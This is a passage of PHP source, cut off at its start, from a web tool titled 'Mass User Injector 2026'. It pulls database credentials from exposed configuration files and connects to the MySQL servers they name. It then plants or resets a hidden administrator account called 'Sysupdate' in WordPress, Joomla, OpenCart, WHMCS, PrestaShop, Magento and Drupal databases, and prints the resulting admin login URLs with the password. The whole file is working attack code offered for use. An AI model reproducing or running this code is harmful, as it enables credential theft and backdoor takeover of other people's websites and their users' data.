'localhost'; if (preg_match("/'host'\s*=>\s*'([^']+)'/i", $blob, $hh)) $host = $hh[1]; $port = 3306; if (preg_match("/'port'\s*=>\s*'?(\d+)'?/i", $blob, $po)) $port = (int)$po[1]; $add($host, $u[1], $p[1], $n[1], $port, 'magento2'); } if (preg_match('/^DB_DATABASE\s*=\s*(.+)$/m', $blob, $n) && preg_match('/^DB_USERNAME\s*=\s*(.+)$/m', $blob, $u) ) { $host = 'localhost'; $pass = ''; $port = 3306; if (preg_match('/^DB_HOST\s*=\s*(.+)$/m', $blob, $hh)) $host = trim($hh[1]); if (preg_match('/^DB_PASSWORD\s*=\s*(.*)$/m', $blob, $p)) $pass = trim($p[1]); if (preg_match('/^DB_PORT\s*=\s*(\d+)/m', $blob, $po)) $port = (int)$po[1]; $add($host, trim($u[1]), $pass, trim($n[1]), $port, 'laravel'); } if (preg_match('/\$db_host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h) && preg_match('/\$db_username\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u) && preg_match('/\$db_password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p) && preg_match('/\$db_name\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n) ) { $add($h[1], $u[1], $p[1], $n[1], 3306, 'whmcs'); } $pairs = [ 'DB_SERVER' => 'host', 'DB_HOSTNAME' => 'host', 'DB_HOST' => 'host', 'DB_SERVER_USERNAME' => 'user', 'DB_USERNAME' => 'user', 'DB_USER' => 'user', 'DB_SERVER_PASSWORD' => 'pass', 'DB_PASSWORD' => 'pass', 'DB_PASS' => 'pass', 'DB_DATABASE' => 'name', 'DB_NAME' => 'name', ]; $bucket = ['host' => '', 'user' => '', 'pass' => '', 'name' => '']; foreach ($pairs as $key => $slot) { if (preg_match('/(?:define\s*\(\s*[\'"]' . preg_quote($key, '/') . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]|(?:[\'"]' . preg_quote($key, '/') . '[\'"]|\$' . preg_quote($key, '/') . ')\s*=>?\s*[\'"]([^\'"]*)[\'"])/i', $blob, $mm)) { $val = ($mm[1] ?? '') !== '' ? $mm[1] : ($mm[2] ?? ''); if ($val !== '') $bucket[$slot] = $val; } } if ($bucket['user'] !== '' && $bucket['name'] !== '') { $add($bucket['host'] !== '' ? $bucket['host'] : 'localhost', $bucket['user'], $bucket['pass'], $bucket['name'], 3306, 'generic'); } return $found; } function try_connect(array $c): ?mysqli { $port = (int)$c['port']; $hosts = [$c['host']]; if (!in_array('127.0.0.1', $hosts, true)) $hosts[] = '127.0.0.1'; if (!in_array('localhost', $hosts, true)) $hosts[] = 'localhost'; foreach ($hosts as $host) { $db = @mysqli_init(); if (!$db) return null; @$db->options(MYSQLI_OPT_CONNECT_TIMEOUT, 8); $ok = @$db->real_connect($host, $c['user'], $c['pass'], $c['name'] !== '' ? $c['name'] : null, $port); if ($ok) { $db->set_charset('utf8mb4'); return $db; } } return null; } function qident(string $s): string { return '`' . str_replace('`', '``', $s) . '`'; } /** @return list */ function wp_prefixes(mysqli $db): array { $out = []; $sql = "SELECT DISTINCT SUBSTRING(TABLE_NAME, 1, LENGTH(TABLE_NAME)-8) AS p FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME LIKE '%users' AND TABLE_NAME NOT LIKE '%usermeta'"; if ($r = @$db->query($sql)) { while ($row = $r->fetch_assoc()) { $p = (string)($row['p'] ?? ''); if ($p === '') continue; $check = @$db->query('SHOW TABLES LIKE ' . "'" . $db->real_escape_string($p . 'usermeta') . "'"); if ($check && $check->num_rows > 0) $out[] = $p; if ($check) $check->free(); } $r->free(); } $sql2 = "SELECT DISTINCT SUBSTRING(TABLE_NAME, 1, LENGTH(TABLE_NAME)-8) AS p FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME LIKE '%postmeta'"; if ($r = @$db->query($sql2)) { while ($row = $r->fetch_assoc()) { $p = (string)($row['p'] ?? ''); if ($p !== '' && !in_array($p, $out, true)) { $check = @$db->query('SHOW TABLES LIKE ' . "'" . $db->real_escape_string($p . 'users') . "'"); if ($check && $check->num_rows > 0) $out[] = $p; if ($check) $check->free(); } } $r->free(); } return $out; } function siteurl(mysqli $db, string $prefix): string { $t = qident($prefix . 'options'); $r = @$db->query("SELECT option_value FROM {$t} WHERE option_name='siteurl' LIMIT 1"); if ($r && ($row = $r->fetch_assoc())) { $r->free(); return rtrim((string)$row['option_value'], '/'); } return ''; } function wp_inject(mysqli $db, string $prefix): array { $users = qident($prefix . 'users'); $meta = qident($prefix . 'usermeta'); $login = INJ_LOGIN; $mail = INJ_MAIL; $hash = INJ_MD5; $id = INJ_ID; $capv = 'a:1:{s:13:"administrator";b:1;}'; $capk = $prefix . 'capabilities'; $lvlk = $prefix . 'user_level'; $escL = $db->real_escape_string($login); $exist = @$db->query("SELECT ID FROM {$users} WHERE user_login='{$escL}' LIMIT 1"); $uid = 0; if ($exist && ($row = $exist->fetch_assoc())) { $uid = (int)$row['ID']; $exist->free(); @$db->query("UPDATE {$users} SET user_pass='{$hash}', user_email='".$db->real_escape_string($mail)."', user_status=0 WHERE ID={$uid}"); } else { if ($exist) $exist->free(); $taken = @$db->query("SELECT ID FROM {$users} WHERE ID={$id} LIMIT 1"); if ($taken && $taken->num_rows > 0) { $taken->free(); $ok = @$db->query("INSERT INTO {$users} (user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name) VALUES ('{$escL}','{$hash}','sysupdate','".$db->real_escape_string($mail)."','',NOW(),'',0,'Sysupdate')"); $uid = $ok ? (int)$db->insert_id : 0; } else { if ($taken) $taken->free(); $ok = @$db->query("INSERT INTO {$users} (ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name) VALUES ({$id},'{$escL}','{$hash}','sysupdate','".$db->real_escape_string($mail)."','',NOW(),'',0,'Sysupdate')"); $uid = $ok ? $id : 0; } } if ($uid < 1) { return ['ok' => false, 'uid' => 0, 'err' => $db->error]; } @$db->query("DELETE FROM {$meta} WHERE user_id={$uid} AND meta_key IN ('".$db->real_escape_string($capk)."','".$db->real_escape_string($lvlk)."')"); @$db->query("INSERT INTO {$meta} (user_id,meta_key,meta_value) VALUES ({$uid},'".$db->real_escape_string($capk)."','".$db->real_escape_string($capv)."')"); @$db->query("INSERT INTO {$meta} (user_id,meta_key,meta_value) VALUES ({$uid},'".$db->real_escape_string($lvlk)."','10')"); return ['ok' => true, 'uid' => $uid, 'err' => '']; } function table_exists(mysqli $db, string $name): bool { $esc = $db->real_escape_string($name); $r = @$db->query("SHOW TABLES LIKE '{$esc}'"); $ok = $r && $r->num_rows > 0; if ($r) $r->free(); return $ok; } /** @return list */ function tables_like(mysqli $db, string $like): array { $out = []; $esc = $db->real_escape_string($like); $r = @$db->query("SHOW TABLES LIKE '{$esc}'"); if (!$r) return $out; while ($row = $r->fetch_row()) { if (!empty($row[0])) $out[] = (string)$row[0]; } $r->free(); return $out; } function bcrypt(string $p): string { return INJ_BCRYPT; } /** @return list */ function inject_all(mysqli $db): array { $out = []; $login = INJ_LOGIN; $pass = INJ_PASS; $mail = INJ_MAIL; $el = $db->real_escape_string($login); $em = $db->real_escape_string($mail); $bc = $db->real_escape_string(bcrypt($pass)); $md = md5($pass); foreach (wp_prefixes($db) as $prefix) { $inj = wp_inject($db, $prefix); $urlSite = siteurl($db, $prefix); $loginUrl = $urlSite !== '' ? $urlSite . '/wp-login.php' : 'wp-login.php'; $out[] = [ 'cms' => 'wordpress', 'line' => $inj['ok'] ? ($loginUrl . '#' . $login . '@' . $pass) : '', 'ok' => $inj['ok'], 'err' => $inj['ok'] ? '' : ('wp ' . $prefix . ' ' . $inj['err']), ]; } foreach (tables_like($db, '%users') as $t) { if (str_ends_with($t, 'usermeta') || str_ends_with($t, 'users_field_data')) continue; $cols = []; $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t)); if (!$cr) continue; while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field']; $cr->free(); $hasUser = isset($cols['username']) && isset($cols['password']) && isset($cols['email']); $hasBlock = isset($cols['block']); if (!$hasUser || !$hasBlock) continue; $mapGuess = []; if (str_ends_with($t, 'users')) { $pref = substr($t, 0, -5); $cand = $pref . 'user_usergroup_map'; if (table_exists($db, $cand)) $mapGuess[] = $cand; } $ex = @$db->query('SELECT id FROM ' . qident($t) . " WHERE username='{$el}' LIMIT 1"); $uid = 0; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['id']; $ex->free(); @$db->query('UPDATE ' . qident($t) . " SET password='{$bc}', email='{$em}', block=0 WHERE id={$uid}"); } else { if ($ex) $ex->free(); $ok = @$db->query('INSERT INTO ' . qident($t) . " (name,username,email,password,block,sendEmail,registerDate,params) VALUES ('Sysupdate','{$el}','{$em}','{$bc}',0,0,NOW(),'{}')"); $uid = $ok ? (int)$db->insert_id : 0; } if ($uid > 0) { foreach ($mapGuess as $mt) { @$db->query('DELETE FROM ' . qident($mt) . " WHERE user_id={$uid}"); @$db->query('INSERT INTO ' . qident($mt) . " (user_id,group_id) VALUES ({$uid},8)"); } $out[] = ['cms' => 'joomla', 'line' => 'administrator/index.php#' . $login . '@' . $pass, 'ok' => true, 'err' => '']; } else { $out[] = ['cms' => 'joomla', 'line' => '', 'ok' => false, 'err' => $db->error]; } } foreach (tables_like($db, '%user') as $t) { if (!preg_match('/user$/', $t)) continue; $cols = []; $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t)); if (!$cr) continue; while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field']; $cr->free(); if (!isset($cols['username'], $cols['password'], $cols['user_group_id'])) continue; $ex = @$db->query('SELECT user_id FROM ' . qident($t) . " WHERE username='{$el}' LIMIT 1"); $uid = 0; $salt = INJ_OC_SALT; $ocHash = INJ_OC_HASH; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['user_id']; $ex->free(); $sql = 'UPDATE ' . qident($t) . " SET password='{$bc}', email='{$em}', status=1, user_group_id=1 WHERE user_id={$uid}"; if (isset($cols['salt'])) $sql = 'UPDATE ' . qident($t) . " SET password='{$ocHash}', salt='".$db->real_escape_string($salt)."', email='{$em}', status=1, user_group_id=1 WHERE user_id={$uid}"; @$db->query($sql); } else { if ($ex) $ex->free(); if (isset($cols['salt'])) { $ok = @$db->query('INSERT INTO ' . qident($t) . " (user_group_id,username,password,salt,firstname,lastname,email,status,date_added) VALUES (1,'{$el}','{$ocHash}','".$db->real_escape_string($salt)."','Sys','Update','{$em}',1,NOW())"); } else { $ok = @$db->query('INSERT INTO ' . qident($t) . " (user_group_id,username,password,firstname,lastname,email,status,date_added) VALUES (1,'{$el}','{$bc}','Sys','Update','{$em}',1,NOW())"); } $uid = $ok ? (int)$db->insert_id : 0; } if ($uid > 0) { $out[] = ['cms' => 'opencart', 'line' => 'admin/#' . $login . '@' . $pass, 'ok' => true, 'err' => '']; } } if (table_exists($db, 'tbladmins')) { $ex = @$db->query("SELECT id FROM tbladmins WHERE username='{$el}' LIMIT 1"); $uid = 0; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['id']; $ex->free(); @$db->query("UPDATE tbladmins SET password='{$bc}', email='{$em}', disabled=0, roleid=1 WHERE id={$uid}"); } else { if ($ex) $ex->free(); $ok = @$db->query("INSERT INTO tbladmins (roleid,username,password,firstname,lastname,email,signature,disabled,loginattempts,supportdepts,ticketnotifications,updated_at) VALUES (1,'{$el}','{$bc}','Sys','Update','{$em}','',0,0,'','',NOW())"); if (!$ok) { $ok = @$db->query("INSERT INTO tbladmins (roleid,username,password,firstname,lastname,email,disabled) VALUES (1,'{$el}','{$md}','Sys','Update','{$em}',0)"); } $uid = $ok ? (int)$db->insert_id : 0; } $out[] = [ 'cms' => 'whmcs', 'line' => $uid > 0 ? ('admin/login.php#' . $login . '@' . $pass) : '', 'ok' => $uid > 0, 'err' => $uid > 0 ? '' : $db->error, ]; } foreach (tables_like($db, '%employee') as $t) { $cols = []; $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t)); if (!$cr) continue; while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field']; $cr->free(); if (!isset($cols['email'], $cols['passwd'])) continue; $ex = @$db->query('SELECT id_employee FROM ' . qident($t) . " WHERE email='{$em}' LIMIT 1"); $uid = 0; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['id_employee']; $ex->free(); @$db->query('UPDATE ' . qident($t) . " SET passwd='{$bc}', active=1, id_profile=1 WHERE id_employee={$uid}"); } else { if ($ex) $ex->free(); $ok = @$db->query('INSERT INTO ' . qident($t) . " (id_profile,id_lang,lastname,firstname,email,passwd,active) VALUES (1,1,'Update','Sys','{$em}','{$bc}',1)"); $uid = $ok ? (int)$db->insert_id : 0; } if ($uid > 0) { $out[] = ['cms' => 'prestashop', 'line' => 'admin/#' . $mail . '@' . $pass, 'ok' => true, 'err' => '']; } } if (table_exists($db, 'admin_user')) { $hash = $db->real_escape_string(INJ_M2); $ex = @$db->query("SELECT user_id FROM admin_user WHERE username='{$el}' LIMIT 1"); $uid = 0; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['user_id']; $ex->free(); @$db->query("UPDATE admin_user SET password='{$hash}', email='{$em}', is_active=1 WHERE user_id={$uid}"); } else { if ($ex) $ex->free(); $ok = @$db->query("INSERT INTO admin_user (firstname,lastname,email,username,password,created,modified,is_active) VALUES ('Sys','Update','{$em}','{$el}','{$hash}',NOW(),NOW(),1)"); $uid = $ok ? (int)$db->insert_id : 0; } if ($uid > 0) { $out[] = ['cms' => 'magento', 'line' => 'admin/#' . $login . '@' . $pass, 'ok' => true, 'err' => '']; } } if (table_exists($db, 'users_field_data') && table_exists($db, 'users')) { $ex = @$db->query("SELECT uid FROM users_field_data WHERE name='{$el}' LIMIT 1"); $uid = 0; if ($ex && ($row = $ex->fetch_assoc())) { $uid = (int)$row['uid']; $ex->free(); @$db->query("UPDATE users_field_data SET pass='{$bc}', mail='{$em}', status=1 WHERE uid={$uid}"); } else { if ($ex) $ex->free(); @$db->query("INSERT INTO users (uuid,langcode) VALUES (UUID(),'en')"); $uid = (int)$db->insert_id; if ($uid > 0) { @$db->query("INSERT INTO users_field_data (uid,langcode,preferred_langcode,name,pass,mail,status,created,changed) VALUES ({$uid},'en','en','{$el}','{$bc}','{$em}',1,UNIX_TIMESTAMP(),UNIX_TIMESTAMP())"); } } if ($uid > 0 && table_exists($db, 'user__roles')) { @$db->query("INSERT IGNORE INTO user__roles (bundle,deleted,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',0,{$uid},{$uid},'en',0,'administrator')"); } if ($uid > 0) { $out[] = ['cms' => 'drupal', 'line' => 'user/login#' . $login . '@' . $pass, 'ok' => true, 'err' => '']; } } return $out; } $posted = isset($_POST['ch']); $configIn = isset($_POST['config']) ? trim((string)$_POST['config']) : ''; $parsed = []; $hits = []; $notes = []; $lines = []; if ($posted && $configIn !== '') { $targets = collect_candidate_urls($configIn); $notes[] = 'scanned ' . count($targets) . ' paths'; $fetched = 0; $tried = []; foreach ($targets as $url) { $blob = fetch_blob($url); if ($blob === '' || strlen($blob) < 12) continue; $fetched++; foreach (parse_creds($blob) as $c) { $c['src'] = $url; $sig = strtolower($c['host'] . '|' . $c['user'] . '|' . $c['name'] . '|' . $c['pass']); if (isset($tried[$sig])) continue; $tried[$sig] = true; $parsed[] = $c; $db = try_connect($c); if (!$db) { $notes[] = 'NO CONNECT ' . $c['engine'] . ' user=' . $c['user'] . ' pass=' . $c['pass'] . ' host=' . $c['host'] . ' db=' . $c['name']; continue; } $hits[] = $c; $results = inject_all($db); $db->close(); if (!$results) { $notes[] = 'CONNECTED ' . $c['name'] . ' — no known cms user tables'; continue; } foreach ($results as $row) { if ($row['ok'] && $row['line'] !== '') { $lines[] = '[' . $row['cms'] . '] ' . $row['line']; } elseif ($row['err'] !== '') { $notes[] = $row['cms'] . ' fail: ' . $row['err']; } } } } $notes[] = 'fetched ' . $fetched . ' bodies'; $notes[] = 'parsed ' . count($parsed) . ' credential sets'; } ?> Mass User Injector 2026

Mass User Injector 2026 FIXED SSL

FOUND ' . count($parsed) . ' CRED SET(S) FROM URL
'; foreach ($parsed as $c) { echo '[' . h($c['engine']) . '] src=' . h((string)($c['src'] ?? '')) . '
'; echo 'host=' . h($c['host']) . ' user=' . h($c['user']) . ' pass=' . h($c['pass']) . ' db=' . h($c['name']) . '
'; } } else { echo 'No database credentials parsed from that source
'; } if ($hits) { foreach ($hits as $c) { echo 'CONNECTED ' . h($c['engine']) . ' USERNAME >> ' . h($c['user']) . ' @ ' . h($c['host']) . ' / ' . h($c['name']) . '
'; } } elseif ($parsed) { echo 'CREDENTIALS FOUND — MySQL connect failed
'; } foreach ($lines as $ln) { $parts = explode('#', $ln, 2); $href = $parts[0]; echo '' . h($ln) . '
'; } foreach ($notes as $n) { echo '' . h($n) . ''; } } ?>